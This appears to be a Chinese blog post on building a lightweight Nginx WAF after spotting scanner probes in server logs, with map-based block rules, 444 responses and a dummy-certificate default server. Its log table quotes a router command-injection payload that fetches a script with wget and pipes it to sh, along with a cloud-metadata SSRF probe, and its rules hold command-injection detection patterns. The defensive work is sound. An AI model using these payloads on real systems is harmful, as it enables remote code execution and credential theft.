导语服务器暴露在公网就像在闹市区开了一家没有保安的便利店。每天深夜都有无数的“自动化扫描器”在门外探头探脑。今天我们从一行刺眼的 Spring Boot 报错说起聊聊如何通过三次架构迭代用 Nginx 优雅地构建一道兼顾高性能与低侵入的轻量级 WAF 防线。一、 起因深夜里的一行“天书”报错昨天深夜我的手机突然收到监控告警。打开 Spring Boot 的业务日志满屏的 ERROR 中有一行格外扎眼2026-09-10 20:40:14.071 [http-nio-127.0.0.1-8080-exec-15] ERROR o.a.c.c.C.[.[.[.[dispatcherServlet] - Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception org.springframework.security.web.firewall.RequestRejectedException: The request was rejected because the HTTP method PROPFIND was not included within the list of allowed HTTP methods [HEAD, DELETE, POST, GET, OPTIONS, PATCH, PUT]这是什么鬼PROPFIND是 WebDAV 协议使用的 HTTP 方法用来获取目录属性。为什么报错Spring Security 的StrictHttpFirewall默认只放行标准的 HTTP 方法。PROPFIND 不在白名单里出于安全考虑直接抛异常拒绝。为什么会有这个请求正常用户用浏览器访问绝不会发起 PROPFIND 请求。这通常是外部的自动化漏洞扫描器、僵尸网络或者是配置错误的 Mac Finder 在探测你的服务器有没有开启 WebDAV 服务。看着这行日志我惊出一身冷汗我的服务器正在公网“裸奔”后端正被迫处理着海量的垃圾探测请求。为了不让这些扫描器消耗 Tomcat 的资源我决定在 Nginx 层动手搓一个 WAFWeb 应用防火墙。二、 探索顺藤摸瓜让异常请求现形要防御先要摸清敌情。我习惯性地打开 Linux 终端准备从 Nginx 的访问日志里“淘金”。为了精准定位我写了下面这串命令组合find/var/log/nginx/-nameaccess.*\|xargsgrep-v/api\|grep-v/static\|grep-vGET\s/\sHTTP\|grep-vGET\s/favicon\.ico\sHTTP\|grep\w\s/w\|awk{print $6,$7,$8,$9;}\|sort|uniq-c|sort-rn\|tail-n100部分输出结果如下27 GET /wp-admin/install.php?step1 HTTP/2.0 404 3 GET /wiki HTTP/1.1 301 2 GET /ws HTTP/1.1 301 1 GET /www/.env HTTP/1.1 301 1 GET /wp-config.php.save HTTP/1.1 301 1 GET /wp-config.php.orig HTTP/1.1 301 1 GET /wp-config.php.old HTTP/1.1 301 1 GET /workplace/home.action HTTP/1.1 301 1 GET /webui/ HTTP/1.1 301 1 GET /web/.env HTTP/1.1 301 命令拆解与我的“小心机”find ... -name access.*翻出所有历史访问日志。grep -v /api和grep -v /static剥离正常的业务接口和静态资源请求让视野瞬间清爽。grep -v GET\s/...排除根路径、favicon 等常规访问。核心过滤grep \w\s/w这一步非常关键Nginx 日志里混杂着大量非 HTTP 协议的乱码盲扫比如直接把 TLS 握手包或 SMB 协议打在 80 端口。如果不加这个过滤后面的awk {print $6,$7,$8,$9;}就会抓瞎把乱码的十六进制字符当成 HTTP 方法统计导致结果完全错位。\w\s/w巧妙利用了标准 HTTP 请求GET /xxx HTTP/1.1中“方法(字母) 空格 路径(/开头)”的特征精准滤出合法的 HTTP 请求行。awk ... sort | uniq -c ...提取方法、URI、协议统计频次并降序排列只看 Top 100。三、 求证令人倒吸凉气的“案发现场”命令跑完终端输出的 Top 100 异常请求让我直呼好家伙。我将这些“牛鬼蛇神”分了个类攻击/探测类型典型日志特征 (部分脱敏)攻击意图与危害分析WebDAV 探测PROPFIND / HTTP/1.1探测是否开启 WebDAV企图获取目录结构。敏感文件泄露GET /.git/HEAD HTTP/1.1 200尝试读取.git、.env等隐藏文件企图拖库或窃取源码。CMS/后台盲扫GET /wp-admin/install.php?step1 HTTP/2.0扫描 WordPress 等框架特征路径尝试利用已知漏洞或爆破后台。云环境 SSRFGET /webhook?urlhttp%3A%2F%2F169.254.169.254...利用 SSRF 探测云厂商元数据服务企图窃取 AWS/阿里云 AK 等核心凭证。路由器 RCE 注入GET /cgi-bin/luci/;...country$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh) HTTP/1.1针对 TP-Link 等路由器的命令注入扫描企图在服务器执行挖矿木马。非 HTTP 乱码盲扫\x16\x03\x01\x00\xEE...Cookie: mstshashzgrab使用 ZGrab 等工具进行非标准协议盲扫这就是为啥前面要用正则过滤掉它们。 走错门的老实人GET /robots.txt HTTP/2.0 444真实 Bingbot 爬虫请求 robots.txt却被拦截返回 444。看到最后一行我陷入了沉思。如果我们为了防扫描而“一刀切”就会误伤真实的搜索引擎爬虫导致网站 SEO 权重下降。防御不是目的业务与安全的平衡才是。四、 解决与演进从“暴力拦截”到“轻量级架构”在设计方案时我经历了三次思维迭代最终才打磨出这套兼顾高性能与低侵入的架构。V1.0 初级方案头痛医头的“暴力拦截”一开始我想直接在业务的server块里写一堆if判断# 反面教材不要这么写 if ($request_uri ~* \.git) { return 403; } if ($request_uri ~* wp-admin) { return 403; }痛点正则表达式太多Nginx 每次请求都要从头到尾跑一遍正则性能极差而且业务配置文件变得臃肿不堪难以维护。V2.0 进阶方案打标与执行分离为了解决性能问题我引入了 Nginx 的map指令。在http全局块定义规则编译为高效哈希表在server块只读取变量结果。# http 块打标 map $uri $block_git { default 0; ~*\.git 1; } # server 块执行 if ($block_git) { return 444; }痛点虽然性能上去了但如果我有多个业务域名多个server块难道每个server块都要复制粘贴一遍这些if语句吗这违背了 DRYDon’t Repeat Yourself原则。V3.0 终极形态门卫、安保、礼仪为了实现业务低侵入性我将 Nginx 的配置抽象为三个形象的角色并利用 Nginx 的include机制进行目录解耦️门卫 (default_server)守在 80/443 端口最外层。没带正确域名“请柬”的如 IP 直连一律不见。安保 (WAF)基于map打标和if指令拿着黑名单在门口盘问形迹可疑的直接叉出去。礼仪 (robots.txt)遇到拿着名片的真实爬虫礼貌地递上一份robots.txt不伤和气。 目录规划树状图与哲学/etc/nginx/ ├── nginx.conf # ️ 核心门卫定义 default_server 拦截 IP 直连 ├── conf.d/ # 全局配置与业务 server 块 │ └── waf-map.conf # 安保大脑在 http 块定义各类拦截规则 (map) └── default.d/ # 配置片段库 (供 server 块 include) ├── waf-action-fragment.conf # 安保动作在 server 块执行拦截返回 444 └── robots.conf # 礼仪响应优雅处理真实的 robots.txt 请求 为什么这么分目录waf-map.conf必须放在conf.d因为map指令只能定义在全局http块中。waf-action-fragment.conf和robots.conf包含if和location它们必须在server块内部生效。因此我们将它们抽离成“片段”放在default.d由业务配置mydomain.conf按需include。这样新增业务域名时只需引入片段实现真正的低侵入。五、 核心配置实战1. 安保大脑waf-map.conf(全局打标)# # WAF 打标规则 (必须放在 http 块级别) # 文件路径: /etc/nginx/conf.d/waf-map.conf # # 1. 拦截 拦截 WordPress 及常见 CMS 框架特征路径 # 覆盖日志: /wp-admin/*, /wp-login.php, /wp-content/*, /wp-json/*, /wordpress/* 等 map $uri $block_cms { default 0; # 匹配 URL 中包含这些 CMS 核心目录的路径 (无视前置目录如 /blog/wp-admin) ~*/(wp-admin|wp-login|wp-content|wp-includes|wp-json|wp-config|wordpress|wp/|xmlrpc\.php|license\.txt) 1; # 匹配根目录下的 wp- 开头文件 (如 /wp-login.php, /wp-config.php) ~*^/wp- 1; } # 2. 拦截敏感文件后缀、隐藏文件及编辑器备份文件 # 覆盖日志: /.env, /.git, /web.config, /wp-config.php.bak, /wp-config.php~ 等 map $uri $block_sensitive_files { default 0; # 匹配以特定敏感后缀结尾的文件 ~*\.(env|git|svn|bak|old|swp|save|orig|config|sql|tar|gz|zip)$ 1; # 匹配以波浪号 ~ 结尾的编辑器临时文件 (如 wp-config.php~) ~*~$ 1; } # 3. 拦截其他常见后台面板/特定路径探测 (严格匹配根目录) # 覆盖日志: /ws, /wiki, /webui/, /workplace/home.action 等 map $uri $block_panels { default 0; # 使用 (/|$) 确保精确匹配目录或文件结尾防止误杀正常业务路径 (如 /wikipedia) # 新增: /SDK (拦截海康/大华等摄像头探测) ~*^/(ws|wiki|webui|workplace|phpmyadmin|pma|adminer|SDK|owa)(/|$) 1; } # 4. 拦截云环境元数据 SSRF 攻击 # 覆盖日志: /webhook?urlhttp://169.254.169.254/... map $args $block_ssrf { default 0; # 只要请求参数 (args) 中包含云厂商内网元数据 IP直接打标 ~*169\.254\.169\.254 1; } # 5. 拦截远程命令执行 (RCE) 及高危路径探测 map $request_uri $block_rce { default 0; # 1. 拦截 /cgi-bin/ 路径 (常见于路由器/旧版 Web 服务器漏洞利用) ~*^/cgi-bin/ 1; # 2. 拦截 URL 中包含常见命令注入特征 (不区分大小写) # 包含: wget, curl, |sh (管道执行), $( (命令替换), (反引号) # 注意$request_uri 包含了 URI 和查询参数 (? 后面的内容)能精准捕获 payload ~*(wget|curl|\|sh|\$\(|\|%24%28) 1; } # # 6. 拦截非标准的 HTTP 方法 (如 PROPFIND, TRACE 等) # 使用精确匹配 (不用正则)Nginx 会将其编译为哈希表性能最高 # map $request_method $block_method { default 1; # 默认值为 1 (即不在白名单内的方法全部打标为需要拦截) # 以下是白名单匹配到则赋值为 0 (放行) GET 0; POST 0; PUT 0; DELETE 0; PATCH 0; HEAD 0; OPTIONS 0; }2. 安保与礼仪片段 (供业务引入)# /etc/nginx/default.d/waf-action-fragment.conf # # WAF 执行动作代码片段 (供 server 块内部 include 使用) # # 绝对拦截任何包含 /.git/ 的请求直接掐断 (优先级最高) location ~ /\.git { return 444; } # 执行 map 打标结果的拦截 if ($block_cms) { return 444; } if ($block_sensitive_files) { return 444; } if ($block_panels) { return 444; } if ($block_ssrf) { return 444; } # 拦截非法的 HTTP 方法 if ($block_method) { return 444; } # 新增拦截 RCE 攻击 if ($block_rce) { return 444; }为了解决刚才发现的“Bingbot 被误杀”问题我们单独给 robots.txt 开个白名单。# /etc/nginx/default.d/robots.conf # # 优雅拒绝爬虫抓取 (代码片段) # location /robots.txt { default_type text/plain; # 直接返回合规的 robots.txt 内容状态码 200 return 200 User-agent: *\nDisallow: /\n; }3. 业务配置片段mydomain.conf(优雅引入)# /etc/nginx/conf.d/mydomain.conf (片段) server { listen 443 ssl http2; listen [::]:443 ssl http2; server_name yourdomain.com; # --- SSL 安全设置 --- # ssl_... # sss_... # ... # 引入 WAF 安保动作与礼仪响应 (业务代码完全无侵入) include /etc/nginx/default.d/waf-action-fragment.conf; include /etc/nginx/default.d/robots.conf; location / { proxy_pass http://127.0.0.1:8080; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Via nginx; } }4. 核心门卫nginx.conf(兜底拦截)配置 default_server防止 IP 直连。# /etc/nginx/nginx.conf (片段) http { include /etc/nginx/conf.d/*.conf; # 加载 map 和业务 server # 门卫非法请求拦截 (兜底所有 IP 直连和未知域名) # # 1. 默认拦截块 (HTTP) - 捕获所有非法的 80 端口请求 (IP 或错误域名) # server { listen 80 default_server; listen [::]:80 default_server; server_name _; return 444; } # # 2. 默认拦截块 (HTTPS) - 捕获所有非法的 443 端口请求 # server { listen 443 ssl http2 default_server; listen [::]:443 ssl http2 default_server; server_name _; ssl_certificate /etc/nginx/ssl/dummy.crt; ssl_certificate_key /etc/nginx/ssl/dummy.key; return 444; } }六、 原理解析与老司机避坑指南在落地这套方案时有几个核心原理和“坑”必须彻底搞懂1. 很多新手会问拦截请求返回 404 Not Found 或 405 Method Not Allowed 不行吗为什么要用 444404/405 的弊端会返回完整的 HTTP 响应头浪费服务器带宽。更重要的是它明确告诉攻击者“服务器存在且活着只是拒绝了你的请求”。这极易引发扫描器更疯狂的试探。444 的妙用这是 Nginx 特有的非标准状态码。它的作用是直接断开 TCP 连接不发送任何 HTTP 响应。对于自动化扫描器而言这等同于“目标不存在”或“网络不通”能最大程度节省我们的服务器资源并让扫描器主动放弃后续探测堪称“已读不回”的最高境界。2. 深度解析为什么需要生成 Dummy 占位证书很多新手会问既然default_server是为了拦截 IP 直连如https://192.168.1.100直接return 444不就行了为什么还要费劲生成一个假的dummy.crt证书核心原因在于 HTTPS 的握手机制。HTTPS 的流程是先进行 TLS/SSL 握手再发送 HTTP 请求。如果 443 端口没有配置证书TLS 握手阶段就会直接失败。扫描器虽然进不来但可能会触发其他类型的端口探测。如果配置了真实业务证书在 TLS 握手阶段Nginx 就会把真实域名如yourdomain.com暴露在证书的 CN/SAN 字段中。攻击者只需扫描 IP就能反向嗅探出你服务器上绑定的真实域名进而发起精准的 DDoS 或业务攻击。完美解法生成一个自签名的 Dummy 证书CNinvalid。这样 TLS 握手能够顺利完成当扫描器发送 HTTP 请求时default_server捕获到没有匹配域名的请求直接return 444掐断连接。既保护了真实域名又实现了优雅拦截。# 生成 Dummy 证书命令sudomkdir-p/etc/nginx/sslsudoopenssl req-x509-nodes-days3650-newkeyrsa:2048\-keyout/etc/nginx/ssl/dummy.key\-out/etc/nginx/ssl/dummy.crt\-subj/CNinvalid3. ⚠️ 严重警告listen协议选项必须一致必须确保所有监听同一端口如 443的server块其listen指令的协议修饰符完全一致否则会触发protocol options redefined警告甚至导致 Nginx 启动失败。❌错误场景 A漏写 ssl门卫写了listen 443 ssl default_server;业务写了listen 443;❌错误场景 BHTTP/2 不一致门卫写了listen 443 ssl default_server;业务写了listen 443 ssl http2;✅正确做法门卫和业务均统一写为listen 443 ssl http2;门卫保留default_server业务去掉即可。4. 修改之前请务必先备份原配置后再修改并且在测试通过后重启 Nginx 服务生效# 1. 测试 Nginx 配置文件语法是否正确sudonginx-t# 2. 如果显示 syntax is ok 和 test is successful则平滑重载 Nginxsudonginx-sreload# systemctl reload nginx七、 总结从一行PROPFIND报错出发我们通过 Shell 命令摸清了公网扫描的底细并经历了从“暴力拦截”到“打标分离”再到“门卫、安保、礼仪”架构的三次演进。最终利用 Nginx 的map变量、default_server兜底、444状态码断连以及 Dummy 证书的巧妙运用构建了一套高性能、低侵入、有温度的轻量级 WAF。安全防御从来不是盲目堆砌昂贵的商业设备而是对底层协议和业务流量的深刻理解。理清架构逻辑用好手头的开源工具我们同样能打造出优雅且坚固的防线。希望这篇文章能帮到正在为服务器安全焦虑的你。如果这套方案在你的生产环境中发挥了作用欢迎在评论区交流你的 WAF 规则作者[左师佑图]一个喜欢折腾技术、热爱分享的IT老兵。如果觉得有用别忘了点赞、在看、转发三连哦
